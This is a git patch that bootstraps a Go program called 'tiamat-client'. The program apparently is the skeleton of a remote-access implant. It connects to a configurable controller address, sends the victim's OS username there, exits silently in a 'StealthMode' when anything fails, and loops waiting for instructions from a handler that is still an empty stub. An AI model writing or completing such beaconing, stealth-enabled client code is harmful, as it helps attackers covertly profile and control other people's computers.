From b70852318f03321b19deab9d7ea6895e8966f7ec Mon Sep 17 00:00:00 2001 From: raul Date: Mon, 3 Jun 2024 10:06:33 +0200 Subject: [PATCH] Bootstrap files --- go.mod | 3 +++ main.go | 68 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 71 insertions(+) create mode 100644 go.mod create mode 100644 main.go diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..8877b97 --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module tiamat-client + +go 1.22.3 diff --git a/main.go b/main.go new file mode 100644 index 0000000..16c1a1e --- /dev/null +++ b/main.go @@ -0,0 +1,68 @@ +package main + +import ( + "encoding/gob" + "log" + "net" + "os" + "os/user" +) + +type Client struct { + OS_username string + OperatingSystem string + LocalIP net.IP + PublicIP net.IP +} + +var ( + StealthMode bool = false + RemoteIP = "127.0.0.1" + RemotePort = "1337" +) + +func main() { + conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort) + if err != nil { + if StealthMode == true { + os.Exit(0) + } else { + log.Fatalf("Error happened connecting to server: %v\n", err) + } + } + defer conn.Close() + if err := sendOSInfo(conn); err != nil { + if StealthMode == true { + os.Exit(0) + } else { + log.Fatalf("Error happened getting OS info: %v\n", err) + } + } + for { + awaitInstructions(conn) + } +} + +func sendOSInfo(c net.Conn) error { + currentUser, err := user.Current() + if err != nil { + return err + } + + newClient := Client{ + OS_username: currentUser.Username, + } + + enc := gob.NewEncoder(c) + err = enc.Encode(newClient) + if err != nil { + return err + } + + return nil +} + +func awaitInstructions(c net.Conn) error { + + return nil +}